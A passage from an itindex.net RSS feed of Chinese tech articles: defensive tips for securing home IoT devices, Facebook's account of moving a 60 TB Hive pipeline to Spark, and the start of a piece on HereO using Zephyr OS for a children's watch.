      <description>&lt;p&gt;  &lt;strong&gt;随着物联网深入普及，点进来看这篇文章的你肯定也听说过各种关于“物联网宿命”的预言。任何联网的设备，例如，监控摄像、路由器、数字视频记录器、可穿戴设备、智能灯等都存在安全风险，并且大多数使用人群都不知道如何保护它们的网络安全。&lt;/strong&gt;    &lt;/p&gt;
 &lt;p&gt;2016到2017年，大型僵尸网络发起的攻击都是通过入侵物联网设备实现的。很多专家都认为互联网安全“前路险恶”。但是也不必太悲观，方法总比问题多。下文我们将介绍提高物联网安全的6条基本原则，降低被攻击风险，避免让物联网设备成为你最大的弱点。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="1.png" height="278" src="http://image.3001.net/images/20180126/15169458745140.png!small" width="400"&gt;&lt;/img&gt;    &lt;/p&gt;
 &lt;h2&gt;第1条：避免设备直接联网。&lt;/h2&gt;
 &lt;p&gt;不部署防火墙或将防火墙置于设备后端的行为均不可取。防火墙应置于该设备联网之前，在防火墙中开放特定端口实现设备的远程访问。&lt;/p&gt;
 &lt;p&gt;很多IoT设备在生产过程中都不会考虑到安全这一环，如果联网前没有防火墙保护，这相当于我们主动将攻击者邀请到我们的网络中“做客”。很多路由器一般都有内置防火墙，但其它设备我们就必须为它们穿上防火墙这件保护衣。&lt;/p&gt;
 &lt;h2&gt;第2条：更改默认密码。&lt;/h2&gt;
 &lt;p&gt;拿到这些设备后我们要做的第一件事就是把初始密码改成复杂的你又记得住的密码。就算密码忘记了，也不是走投无路，现在市场上大多数设备都有恢复出厂设置的功能。&lt;/p&gt;
 &lt;p&gt;但是也有很多情况比较悲剧，很多物联网设备，尤其是安全监控设备、DVR在安全问题上实在设计得太差，就算改掉初始密码，一旦连网，内置的web界面还是无法阻止任何攻击活动的入侵。&lt;/p&gt;
 &lt;p&gt;而且，很多设备被发现存在隐藏的后门，攻击者能够利用这些后门程序对你的设备进行远程控制。所以第一条原则的重要性也就可想而知。&lt;/p&gt;
 &lt;h2&gt;第3条：更新固件。&lt;/h2&gt;
 &lt;p&gt;硬件供应商有时会为支持他们设备的软件（称为“固件”）提供安全更新程序。因此，安装设备之前先访问厂商官网查看是否有固件更新，另外也要养成定期查看的习惯。&lt;/p&gt;
 &lt;h2&gt;第4条：检查默认设置。&lt;/h2&gt;
 &lt;p&gt;确保像UPnP（通用即插即用，主要用于设备的智能互联互通，能够在你不知情的情况下开放防火墙端口）这类你不需要的功能已经被设置成“禁用”。&lt;/p&gt;
 &lt;p&gt;如何才能知道路由器的防火墙是否被“挖了洞”？Censys这个搜索引擎兼具扫描功能：首先打开  &lt;a href="https://whatismyipaddress.com/" rel="nofollow"&gt;whatismyipaddress.com&lt;/a&gt;，然后将IP地址复制到  &lt;a href="https://censys.io/" rel="nofollow"&gt;censys.io&lt;/a&gt;的搜索框中，从下拉菜单中选择“ipv4 hosts”，点击“搜索”。&lt;/p&gt;
 &lt;p&gt;如果刚好你的ISP地址在censys的黑名单中，可以访问Steve Gibson的   &lt;a href="https://www.grc.com/x/ne.dll?bh0bkyd2" rel="nofollow"&gt;Shield’s Up页面&lt;/a&gt; ，上面有一个点击工具，能够帮助你发现你所在网络中哪个网关或端口被恶意打开。通过网络搜索开放端口往往能够获得有效信息，确定设备可能存在的漏洞。&lt;/p&gt;
 &lt;p&gt;如果你的计算机中安装了反病毒软件，确保升级到网络安全或互联网安全版本，开启软件防火墙的所有功能，确保能够拦截特定端口的进出流量。&lt;/p&gt;
 &lt;p&gt;另外，  &lt;a href="https://www.glasswire.com/features/" rel="nofollow"&gt;Glasswire&lt;/a&gt;（基础版39美元，专业版69美元）也是一个不错的工具，不但具备防火墙所有功能，并且能够告知用户哪些设备带宽占用最多。最近我用Glasswire发现了一个每天使用千兆字节带宽的程序（“亚马逊音乐”客户端一个糟糕的更新版本）。&lt;/p&gt;
 &lt;h2&gt;第5条：避免购买具有内置P2P（对等网络）功能的物联网设备。&lt;/h2&gt;
 &lt;p&gt;P2P物联网设备的安全防护实施起来非常困难。很多研究都表明，即使有防火墙，攻击者也能实现远程访问，因为P2P的配置特点之一就是持续不断地连接共享网络，直到成功。因此攻击者完全有可能实现远程访问。这也是人们对物联网设备安全存在恐慌心理的原因之一。&lt;/p&gt;
 &lt;h2&gt;第6条：成本越低的设备，安全性可能越差。&lt;/h2&gt;
 &lt;p&gt;90%廉价的物联网设备都不安全。当然，价格与安全性没有直接关联，但是无数案例说明，价格范围较低的设备往往漏洞和后门更多，厂商的维护和售后支持力度也不够。&lt;/p&gt;
 &lt;p&gt;2017年年底，Mirai病毒(有史以来规模最大的物联网恶意软件威胁之一)的三元凶认罪，美国司法部（DOJ）也发布了一系列保护物联网设备的安全提示，详情戳  &lt;a href="https://www.justice.gov/criminal-ccips/page/file/984001/download" rel="nofollow"&gt;此处&lt;/a&gt;。&lt;/p&gt;
 &lt;h2&gt;最后的温馨提醒&lt;/h2&gt;
 &lt;p&gt;很多人看到这些安全提示都会嗤之以鼻，明明道理都懂，有时候就是做不到。良好的开发、部署和操作习惯非常有必要，减少物联网对全球安全问题的影响，最重要的还是每一个人从最基本的做起。采取主动防御措施，自求多福。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;*参考来源：   &lt;a href="https://krebsonsecurity.com/2018/01/some-basic-rules-for-securing-your-iot-stuff/" rel="nofollow"&gt;krebsonsecurity.com&lt;/a&gt;，FB小编柚子编译，转载请注明来自FreeBuf.COM&lt;/strong&gt;&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>系统安全 IoT 物联网</category>
      <guid isPermaLink="true">https://itindex.net/detail/58018-%E7%89%A9%E8%81%94%E7%BD%91-%E5%AE%89%E5%85%A8-%E5%9F%BA%E6%9C%AC%E5%8E%9F%E5%88%99</guid>
      <pubDate>Thu, 01 Feb 2018 15:00:35 CST</pubDate>
    </item>
    <item>
      <title>60 TB 数据：Facebook 是如何大规模使用 Apache Spark 的</title>
      <link>https://itindex.net/detail/57814-tb-%E6%95%B0%E6%8D%AE-facebook</link>
      <description>&lt;p&gt;  &lt;strong&gt;标签：&lt;/strong&gt;    &lt;a href="http://blogread.cn/it/tags.php?tag=facebook" target="_blank"&gt;facebook&lt;/a&gt;    &lt;a href="http://blogread.cn/it/tags.php?tag=spark" target="_blank"&gt;spark&lt;/a&gt;&lt;/p&gt; &lt;p&gt;    Facebook 经常使用数据驱动的分析方法来做决策。在过去的几年，用户和产品的增长已经需要我们的分析工程师一次查询就要操作数十 TB 大小的数据集。我们的一些批量分析执行在古老的   &lt;a href="https://code.facebook.com/posts/370832626374903/even-faster-data-at-the-speed-of-presto-orc/"&gt;Hive&lt;/a&gt; 平台（ Apache Hive 由 Facebook 贡献于 2009 年）和   &lt;a href="https://www.facebook.com/notes/facebook-engineering/under-the-hood-scheduling-mapreduce-jobs-more-efficiently-with-corona/10151142560538920/"&gt;Corona&lt;/a&gt; 上——这是我们定制的 MapReduce 实现。Facebook 还不断增加其对 Presto 的用量，用于对几个包括 Hive 在内的内部数据存储的 ANSI-SQL 查询。我们也支持其他分析类型，比如图数据库处理graph processing和机器学习（  &lt;a href="https://code.facebook.com/posts/509727595776839/scaling-apache-giraph-to-a-trillion-edges/"&gt;Apache Giraph&lt;/a&gt;）和流（例如：  &lt;a href="https://research.facebook.com/publications/realtime-data-processing-at-facebook/"&gt;Puma&lt;/a&gt;、  &lt;a href="https://research.facebook.com/publications/realtime-data-processing-at-facebook/"&gt;Swift&lt;/a&gt; 和   &lt;a href="https://research.facebook.com/publications/realtime-data-processing-at-facebook/"&gt;Stylus&lt;/a&gt;）。&lt;/p&gt; &lt;p&gt;    同时 Facebook 的各种产品涵盖了广泛的分析领域，我们与开源社区不断保持沟通，以便共享我们的经验并从其他人那里学习。  &lt;a href="http://spark.apache.org/"&gt;Apache Spark&lt;/a&gt; 于 2009 年在加州大学伯克利分校的 AMPLab 由 Matei Zaharia 发起，后来在2013 年贡献给 Apache。它是目前增长最快的数据处理平台之一，由于它能支持流、批量、命令式（RDD）、声明式（SQL）、图数据库和机器学习等用例，而且所有这些都内置在相同的 API 和底层计算引擎中。Spark 可以有效地利用更大量级的内存，优化整个流水线（pipeline）中的代码，并跨任务重用 JVM 以获得更好的性能。最近我们感觉 Spark 已经成熟，我们可以在一些批量处理用例方面把它与 Hive 相比较。在这篇文章其余的部分，我们讲述了在扩展 Spark 来替代我们一个 Hive 工作任务时的所得到经验和学习到的教训。&lt;/p&gt; &lt;h3&gt;用例：实体排名的特征准备&lt;/h3&gt; &lt;p&gt;    Facebook 会以多种方式做实时的实体（entity）排名。对于一些在线服务平台，原始特征值是由 Hive 线下生成的，然后将数据加载到实时关联查询系统。我们在几年前建立的基于 Hive 的老式基础设施属于计算资源密集型，且很难维护，因为其流水线被划分成数百个较小的 Hive 任务。为了可以使用更加新的特征数据和提升可管理性，我们拿一个现有的流水线试着将其迁移至 Spark。&lt;/p&gt; &lt;h3&gt;以前的 Hive 实现&lt;/h3&gt; &lt;p&gt;    基于 Hive 的流水线由三个逻辑阶段（stage）组成，每个阶段对应由 entity_id 划分的数百个较小的 Hive 作业，因为在每个阶段运行大型 Hive 作业（job）不太可靠，并受到每个作业的最大任务（task）数量的限制。&lt;/p&gt; &lt;p&gt;      &lt;img src="https://dn-linuxcn.qbox.me/data/attachment/album/201706/23/094644vucj3ooqcc5or3pj.jpg"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;    这三个逻辑阶段可以总结如下：&lt;/p&gt; &lt;ol&gt;  &lt;li&gt;   &lt;p&gt;过滤出非产品的特征和噪点。&lt;/p&gt;&lt;/li&gt;  &lt;li&gt;   &lt;p&gt;在每个（entity_id, target_id）对上进行聚合。&lt;/p&gt;&lt;/li&gt;  &lt;li&gt;   &lt;p&gt;将表格分割成 N 个分片，并通过自定义二进制文件管理每个分片，以生成用于在线查询的自定义索引文件。&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt; &lt;p&gt;    基于 Hive 的流水线建立该索引大概要三天完成。它也难于管理，因为该流水线包含上百个分片的作业，使监控也变得困难。同时也没有好的方法来估算流水线进度或计算剩余时间。考虑到 Hive 流水线的上述限制，我们决定建立一个更快、更易于管理的 Spark 流水线。&lt;/p&gt; &lt;h3&gt;Spark 实现&lt;/h3&gt; &lt;p&gt;    全量的调试会很慢，有挑战，而且是资源密集型的。我们从转换基于 Hive 流水线的最资源密集型的第二阶段开始。我们以一个 50GB 的压缩输入例子开始，然后逐渐扩展到 300GB、1TB，然后到 20TB。在每次规模增长时，我们都解决了性能和稳定性问题，但是实验到 20TB 时，我们发现了最大的改善机会。&lt;/p&gt; &lt;p&gt;    运行 20TB 的输入时，我们发现，由于大量的任务导致我们生成了太多输出文件（每个大小在 100MB 左右）。在 10 小时的作业运行时中，有三分之一是用在将文件从阶段目录移动到 HDFS 中的最终目录。起初，我们考虑两个方案：要么改善 HDFS 中的批量重命名来支持我们的用例，或者配置 Spark 生成更少的输出文件（这很难，由于在这一步有大量的任务 — 70000 个）。我们退一步来看这个问题，考虑第三种方案。由于我们在流水线的第二步中生成的 tmp_table2 表是临时的，仅用于存储流水线的中间输出，所以对于 TB 级数据的单一读取作业任务，我们基本上是在压缩、序列化和复制三个副本。相反，我们更进一步：移除两个临时表并整合 Hive 过程的所有三个部分到一个单独的 Spark 作业，读取 60TB 的压缩数据然后对 90TB 的数据执行重排（shuffle）和排序（sort）。最终的 Spark 作业如下：&lt;/p&gt; &lt;p&gt;      &lt;img src="https://dn-linuxcn.qbox.me/data/attachment/album/201706/23/094748munntujnujnt9nnj.jpg"&gt;&lt;/img&gt;&lt;/p&gt; &lt;h3&gt;对于我们的作业如何规划 Spark？&lt;/h3&gt; &lt;p&gt;    当然，为如此大的流水线运行一个单独的 Spark 任务，第一次尝试没有成功，甚至是第十次尝试也没有。据我们所知，从重排（shuffle）的数据大小来说，这是现实世界最大的 Spark 作业（  &lt;a href="https://databricks.com/blog/2014/10/10/spark-petabyte-sort.html"&gt;Databrick 的 PB 级排序&lt;/a&gt;是以合成数据来说）。我们对核心 Spark 基础架构和我们的应用程序进行了许多改进和优化使这个作业得以运行。这种努力的优势在于，许多这些改进适用于 Spark 的其他大型作业任务，我们将所有的工作回馈给开源 Apache Spark 项目 - 有关详细信息请参阅 JIRA。下面，我们将重点讲述将实体排名流水线之一部署到生产环境所做的重大改进。&lt;/p&gt; &lt;h3&gt;可靠性修复&lt;/h3&gt; &lt;h4&gt;处理频繁的节点重启&lt;/h4&gt; &lt;p&gt;    为了可靠地执行长时间运行作业，我们希望系统能够容错并可以从故障中恢复（主要是由于平时的维护或软件错误导致的机器重启所引发的）。虽然 Spark 设计为可以容忍机器重启，但我们发现它在足够强健到可以处理常见故障之前还有各种错误/问题需要解决。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;p&gt;    &lt;strong&gt;使 PipedRDD 稳健的&lt;/strong&gt;    &lt;strong&gt;获取（fetch）&lt;/strong&gt;失败（SPARK-13793）：PipedRDD 以前的实现不够强大，无法处理由于节点重启而导致的获取失败，并且只要出现获取失败，该作业就会失败。我们在 PipedRDD 中进行了更改，优雅的处理获取失败，使该作业可以从这种类型的获取失败中恢复。&lt;/p&gt;&lt;/li&gt;  &lt;li&gt;   &lt;p&gt;    &lt;strong&gt;可配置的最大获取失败次数&lt;/strong&gt;（SPARK-13369）：对于这种长时间运行的作业，由于机器重启而引起的获取失败概率显着增加。在 Spark 中每个阶段的最大允许的获取失败次数是硬编码的，因此，当达到最大数量时该作业将失败。我们做了一个改变，使它是可配置的，并且在这个用例中将其从 4 增长到 20，从而使作业更稳健。&lt;/p&gt;&lt;/li&gt;  &lt;li&gt;   &lt;p&gt;    &lt;strong&gt;减少集群重启混乱&lt;/strong&gt;：长时间运行作业应该可以在集群重启后存留，所以我们不用等着处理完成。Spark 的可重启的重排（shuffle）服务功能可以使我们在节点重启后保留重排（shuffle）文件。最重要的是，我们在 Spark 驱动程序中实现了一项功能，可以暂停执行任务调度，所以不会由于集群重启而导致的过多的任务失败，从而导致作业失败。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt; &lt;h4&gt;其他的可靠性修复&lt;/h4&gt; &lt;ul&gt;  &lt;li&gt;   &lt;p&gt;    &lt;strong&gt;响应迟钝的驱动程序&lt;/strong&gt;（SPARK-13279）：在添加任务时，由于 O(N ^ 2) 复杂度的操作，Spark 驱动程序被卡住，导致该作业最终被卡住和死亡。 我们通过删除不必要的 O(N ^ 2) 操作来修复问题。&lt;/p&gt;&lt;/li&gt;  &lt;li&gt;   &lt;p&gt;    &lt;strong&gt;过多的驱动&lt;/strong&gt;    &lt;strong&gt;推测（speculation）&lt;/strong&gt;：我们发现，Spark 驱动程序在管理大量任务时花费了大量的时间推测。 在短期内，我们禁止这个作业的推测。在长期，我们正在努力改变 Spark 驱动程序，以减少推测时间。&lt;/p&gt;&lt;/li&gt;  &lt;li&gt;   &lt;p&gt;    &lt;strong&gt;由于大型缓冲区的整数溢出导致的 TimSort 问题&lt;/strong&gt;（SPARK-13850）：我们发现 Spark 的不安全内存操作有一个漏洞，导致 TimSort 中的内存损坏。 感谢 Databricks 的人解决了这个问题，这使我们能够在大内存缓冲区中运行。&lt;/p&gt;&lt;/li&gt;  &lt;li&gt;   &lt;p&gt;    &lt;strong&gt;调整重排（shuffle）服务来处理大量连接&lt;/strong&gt;：在重排阶段，我们看到许多执行程序在尝试连接重排服务时超时。 增加 Netty 服务器的线程（spark.shuffle.io.serverThreads）和积压（spark.shuffle.io.backLog）的数量解决了这个问题。&lt;/p&gt;&lt;/li&gt;  &lt;li&gt;   &lt;p&gt;    &lt;strong&gt;修复 Spark 执行程序 OOM&lt;/strong&gt;（SPARK-13958）（deal maker）：首先在每个主机上打包超过四个聚合（reduce）任务是很困难的。Spark 执行程序会内存溢出，因为排序程序（sorter）中存在导致无限增长的指针数组的漏洞。当不再有可用的内存用于指针数组增长时，我们通过强制将数据溢出到磁盘来修复问题。因此，现在我们可以每主机运行 24 个任务，而不会内存溢出。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt; &lt;h3&gt;性能改进&lt;/h3&gt; &lt;p&gt;    在实施上述可靠性改进后，我们能够可靠地运行 Spark 作业了。基于这一点，我们将精力转向与性能相关的项目，以充分发挥 Spark 的作用。我们使用 Spark 的指标和几个分析器来查找一些性能瓶颈。&lt;/p&gt; &lt;h4&gt;我们用来查找性能瓶颈的工具&lt;/h4&gt; &lt;ul&gt;  &lt;li&gt;   &lt;p&gt;    &lt;strong&gt;Spark UI 指标&lt;/strong&gt;：Spark UI 可以很好地了解在特定阶段所花费的时间。每个任务的执行时间被分为子阶段，以便更容易地找到作业中的瓶颈。&lt;/p&gt;&lt;/li&gt;  &lt;li&gt;   &lt;p&gt;    &lt;strong&gt;Jstack&lt;/strong&gt;：Spark UI 还在执行程序进程上提供了一个按需分配的 jstack 函数，可用于中查找热点代码。&lt;/p&gt;&lt;/li&gt;  &lt;li&gt;   &lt;p&gt;    &lt;strong&gt;Spark 的 Linux Perf / &lt;/strong&gt;    &lt;strong&gt;火焰图（Flame Graph）&lt;/strong&gt;支持：尽管上述两个工具非常方便，但它们并不提供同时在数百台机器上运行的作业的 CPU 分析的聚合视图。在每个作业的基础上，我们添加了支持 Perf 分析（通过 libperfagent 的 Java 符号），并可以自定义采样的持续时间/频率。使用我们的内部指标收集框架，将分析样本聚合并显示为整个执行程序的火焰图。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt; &lt;h4&gt;性能优化&lt;/h4&gt; &lt;ul&gt;  &lt;li&gt;   &lt;p&gt;    &lt;strong&gt;修复&lt;/strong&gt;    &lt;strong&gt;排序程序（sorter）&lt;/strong&gt;中的内存泄漏（SPARK-14363）（30％ 速度提升）：我们发现了一个问题，当任务释放所有内存页时指针数组却未被释放。 因此，大量的内存未被使用，并导致频繁的溢出和执行程序 OOM。 我们现在进行了改变，正确地释放内存，并使大的分类运行更有效。 我们注意到，这一变化后 CPU 改善了 30％。&lt;/p&gt;&lt;/li&gt;  &lt;li&gt;   &lt;p&gt;    &lt;strong&gt;Snappy 优化&lt;/strong&gt;（SPARK-14277）（10％ 速度提升）：有个 JNI 方法（Snappy.ArrayCopy）在每一行被读取/写入时都会被调用。 我们发现了这个问题，Snappy 的行为被改为使用非 JNI 的 System.ArrayCopy 代替。 这一改变节约了大约 10％ 的 CPU。&lt;/p&gt;&lt;/li&gt;  &lt;li&gt;   &lt;p&gt;    &lt;strong&gt;减少重排的写入延迟&lt;/strong&gt;（SPARK-5581）（高达 50％ 的速度提升）：在映射（map）方面，当将重排数据写入磁盘时，映射任务为每个分区打开并关闭相同的文件。 我们做了一个修复，以避免不必要的打开/关闭，对于大量写入重排分区的作业来说，我们观察到高达 50％ 的 CPU 提升。&lt;/p&gt;&lt;/li&gt;  &lt;li&gt;   &lt;p&gt;    &lt;strong&gt;解决由于获取失败导致的重复任务运行问题&lt;/strong&gt;（SPARK-14649）：当获取失败发生时，Spark 驱动程序会重新提交已运行的任务，导致性能下降。 我们通过避免重新运行运行的任务来解决这个问题，我们看到当获取失败发生时该作业会更加稳定。&lt;/p&gt;&lt;/li&gt;  &lt;li&gt;   &lt;p&gt;    &lt;strong&gt;可配置 PipedRDD 的缓冲区大小&lt;/strong&gt;（SPARK-14542）（10％ 速度提升）：在使用 PipedRDD 时，我们发现将数据从分类程序传输到管道进程的默认缓冲区的大小太小，我们的作业要花费超过 10％ 的时间复制数据。我们使缓冲区大小可配置，以避免这个瓶颈。&lt;/p&gt;&lt;/li&gt;  &lt;li&gt;   &lt;p&gt;    &lt;strong&gt;缓存索引文件以加速重排获取&lt;/strong&gt;（SPARK-15074）：我们观察到重排服务经常成为瓶颈，减少程序（reducer）花费 10％ 至 15％ 的时间等待获取映射（map）数据。通过深入了解问题，我们发现，重排服务为每个重排获取打开/关闭重排索引文件。我们进行了更改以缓存索引信息，以便我们可以避免文件打开/关闭，并重新使用该索引信息以便后续获取。这个变化将总的重排时间减少了 50％。&lt;/p&gt;&lt;/li&gt;  &lt;li&gt;   &lt;p&gt;    &lt;strong&gt;降低重排字节写入指标的更新频率&lt;/strong&gt;（SPARK-15569）（高达 20％ 的速度提升）：使用 Spark 的 Linux Perf 集成，我们发现大约 20％ 的 CPU 时间正在花费探测和更新写入的重排字节写入指标上。&lt;/p&gt;&lt;/li&gt;  &lt;li&gt;   &lt;p&gt;    &lt;strong&gt;可配置排序程序（sorter）的初始缓冲区大小&lt;/strong&gt;（SPARK-15958）（高达 5％ 的速度提升）：排序程序（sorter）的默认初始缓冲区大小太小（4 KB），我们发现它对于大型工作负载而言非常小 - 所以我们在缓冲区耗尽和内容复制上浪费了大量的时间。我们做了一个更改，使缓冲区大小可配置，并且缓冲区大小为 64 MB，我们可以避免大量的数据复制，使作业的速度提高约 5％。&lt;/p&gt;&lt;/li&gt;  &lt;li&gt;   &lt;p&gt;    &lt;strong&gt;配置任务数量&lt;/strong&gt;：由于我们的输入大小为 60T，每个 HDFS 块大小为 256M，因此我们为该作业产生了超过 250,000 个任务。尽管我们能够以如此多的任务来运行 Spark 作业，但是我们发现，当任务数量过高时，性能会下降。我们引入了一个配置参数，使映射（map）输入大小可配置，因此我们可以通过将输入分割大小设置为 2 GB 来将该数量减少 8 倍。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;    在所有这些可靠性和性能改进之后，我们很高兴地报告，我们为我们的实体排名系统之一构建和部署了一个更快、更易于管理的流水线，并且我们提供了在 Spark 中运行其他类似作业的能力。&lt;/p&gt; &lt;h3&gt;Spark 流水线与 Hive 流水线性能对比&lt;/h3&gt; &lt;p&gt;    我们使用以下性能指标来比较 Spark 流水线与 Hive 流水线。请注意，这些数字并不是在查询或作业级别的直接比较 Spark 与 Hive ，而是比较使用灵活的计算引擎（例如 Spark）构建优化的流水线，而不是比较仅在查询/作业级别（如 Hive）操作的计算引擎。&lt;/p&gt; &lt;p&gt;    CPU 时间：这是从系统角度看 CPU 使用。例如，你在一个 32 核机器上使用 50% 的 CPU 10 秒运行一个单进程任务，然后你的 CPU 时间应该是 32 * 0.5 * 10 = 160 CPU 秒。&lt;/p&gt; &lt;p&gt;      &lt;img src="https://dn-linuxcn.qbox.me/data/attachment/album/201706/23/095015tmh7zhdjlxlhafyz.jpg"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;    CPU 预留时间：这是从资源管理框架的角度来看 CPU 预留。例如，如果我们保留 32 位机器 10 秒钟来运行作业，则CPU 预留时间为 32 * 10 = 320 CPU 秒。CPU 时间与 CPU 预留时间的比率反映了我们如何在集群上利用预留的CPU 资源。当准确时，与 CPU 时间相比，预留时间在运行相同工作负载时可以更好地比较执行引擎。例如，如果一个进程需要 1 个 CPU 的时间才能运行，但是必须保留 100 个 CPU 秒，则该指标的效率要低于需要 10 个 CPU 秒而仅保留 10 个 CPU 秒来执行相同的工作量的进程。我们还计算内存预留时间，但不包括在这里，因为其数字类似于 CPU 预留时间，因为在同一硬件上运行实验，而在 Spark 和 Hive 的情况下，我们不会将数据缓存在内存中。Spark 有能力在内存中缓存数据，但是由于我们的集群内存限制，我们决定类似与 Hive 一样工作在核心外部。&lt;/p&gt; &lt;p&gt;      &lt;img src="https://dn-linuxcn.qbox.me/data/attachment/album/201706/23/095046a9gbp9q98gqo939g.jpg"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;    等待时间：端到端的工作流失时间。&lt;/p&gt; &lt;p&gt;      &lt;img src="https://dn-linuxcn.qbox.me/data/attachment/album/201706/23/095107c53jfpeh5r5oeqzq.jpg"&gt;&lt;/img&gt;&lt;/p&gt; &lt;h3&gt;结论和未来工作&lt;/h3&gt; &lt;p&gt;    Facebook 的性能和可扩展的分析在产品开发中给予了协助。Apache Spark 提供了将各种分析用例统一为单一 API 和高效计算引擎的独特功能。我们挑战了 Spark，来将一个分解成数百个 Hive 作业的流水线替换成一个 Spark 作业。通过一系列的性能和可靠性改进之后，我们可以将 Spark 扩大到处理我们在生产中的实体排名数据处理用例之一。 在这个特殊用例中，我们展示了 Spark 可以可靠地重排和排序 90 TB+ 的中间数据，并在一个单一作业中运行了 25 万个任务。 与旧的基于 Hive 的流水线相比，基于 Spark 的流水线产生了显着的性能改进（4.5-6 倍 CPU，3-4 倍资源预留和大约 5 倍的延迟），并且已经投入使用了几个月。&lt;/p&gt; &lt;p&gt;    虽然本文详细介绍了我们 Spark 最具挑战性的用例，越来越多的客户团队已将 Spark 工作负载部署到生产中。 性能 、可维护性和灵活性是继续推动更多用例到 Spark 的优势。 Facebook 很高兴成为 Spark 开源社区的一部分，并将共同开发 Spark 充分发挥其潜力。&lt;/p&gt; &lt;p&gt;  &lt;br /&gt;&lt;/p&gt;
				 &lt;p&gt;  &lt;strong&gt;您可能还对下面的文章感兴趣：&lt;/strong&gt;&lt;/p&gt;
				 &lt;p&gt;  &lt;ol&gt;   &lt;li&gt;    &lt;a href="http://blogread.cn/it/article.php?id=8095" target="_blank"&gt;Spark性能优化——和shuffle搏斗&lt;/a&gt; [2016-06-06 23:43:17]&lt;/li&gt;   &lt;li&gt;    &lt;a href="http://blogread.cn/it/article.php?id=7639" target="_blank"&gt;Spark的性能调优&lt;/a&gt; [2016-02-06 23:58:32]&lt;/li&gt;   &lt;li&gt;    &lt;a href="http://blogread.cn/it/article.php?id=6925" target="_blank"&gt;一步一步教你怎样给Apache Spark贡献代码&lt;/a&gt; [2014-10-15 22:43:22]&lt;/li&gt;   &lt;li&gt;    &lt;a href="http://blogread.cn/it/article.php?id=6693" target="_blank"&gt;Spark：一个高效的分布式计算系统&lt;/a&gt; [2013-09-15 22:40:29]&lt;/li&gt;   &lt;li&gt;    &lt;a href="http://blogread.cn/it/article.php?id=5602" target="_blank"&gt;Spark随谈——开发指南（译）&lt;/a&gt; [2012-07-27 14:22:18]&lt;/li&gt;&lt;/ol&gt;&lt;/p&gt; &lt;img alt="" height="1" src="http://feeds.feedburner.com/~r/blogreadIT/~4/ogRSrqQ5n3U" width="1"&gt;&lt;/img&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>系统架构</category>
      <guid isPermaLink="true">https://itindex.net/detail/57814-tb-%E6%95%B0%E6%8D%AE-facebook</guid>
      <pubDate>Sun, 24 Dec 2017 20:00:05 CST</pubDate>
    </item>
    <item>
      <title>为什么选择Zephyr操作系统开发物联网产品？HereO、CommSolid和Grush有话说</title>
      <link>https://itindex.net/detail/57780-%E9%80%89%E6%8B%A9-zephyr-%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F</link>
      <description>&lt;p&gt;  &lt;img alt="" height="412" src="http://www.qidic.com/wp-content/uploads/2017/12/a747c4aa486f944705998f0a55fbc1bc_593.jpg" width="595"&gt;&lt;/img&gt;  &lt;br /&gt;
万物联网时代，物联网设备以百花齐放的态势涌向市场，让众多用户体验到互联所带来的智能体验。物联网设备也以开发成本低、开发周期短吸引了一波创业者的目光，从而造就了当前物联网市场百家争鸣的热闹格局。除了硬件设计，摆在创业者面前最直接的问题就是：如何为自己的物联网设备选择一款合适的操作系统？&lt;/p&gt;
 &lt;p&gt;操作系统对于物联网设备而言，与互联网中的Windows同等重要。然而，为了满足物联网应用的碎片化需求，市面上出现了多种物联网操作系统，这也让设备制造商陷入了选择迷茫，今天我们就带来三家物联网产品设计公司使用Zephyr操作系统的经验，帮助设计者深入了解Zephyr操作系统的优势。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;HereO：采用Zephyr OS 控制多个调制解调设备&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;如今移动互联网用户经常用到的一项功能就是位置分享，而目前大部分位置信息都是由手机提供的，但随着物联网变得越来越容易访问，应用范围越来越广，更多新兴的消费产品能够提供室内和室外位置信息，无论是作为主要服务，还是整个产品的一部分。HereO的团队目标是开发一个软件堆栈，它能够在一个UART端口上运行多个通信设备。&lt;/p&gt;
 &lt;p&gt;除了技术，开发一款产品最初需要什么？HereO公司规划的产品是儿童手表，手表需要支持3个UART设备：&lt;/p&gt;
 &lt;p&gt; GPS：生成室外位置读取；  &lt;br /&gt;
 调制解调器：用于传输数据和支持蜂窝三角测量；  &lt;br /&gt;
 WiFi：支持室内位置读取；&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;硬件架构设计&lt;/strong&gt;  &lt;br /&gt;
该项目的处理器是英特尔Curie，一个Quark X86处理器，相当于一个ARC处理器。Curie模块有两个UART端口，一个内部连接到BLE nRF51822，另一个是调试端口。HereO把Curie调试端口、蜂窝调制解调器、WiFi调制解调器和GPS连接到每个UART扩展端口，扩展器由CurieGPIO控制。&lt;/p&gt;
 &lt;p&gt;该系统还采用了内部BLE、陀螺仪和加速度计（用于卡路里测量），外部温度和气压传感器（用于更精确的定位算法和正常状态测量）以及基于I2C的显示器（用于支持手表大部分不相关联的功能，比如显示时间）。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;使用Zephyr 操作系统优缺点兼而有之&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;Zephyr操作系统协助HereO实现产品的过程中可谓优缺点兼而有之：&lt;/p&gt;
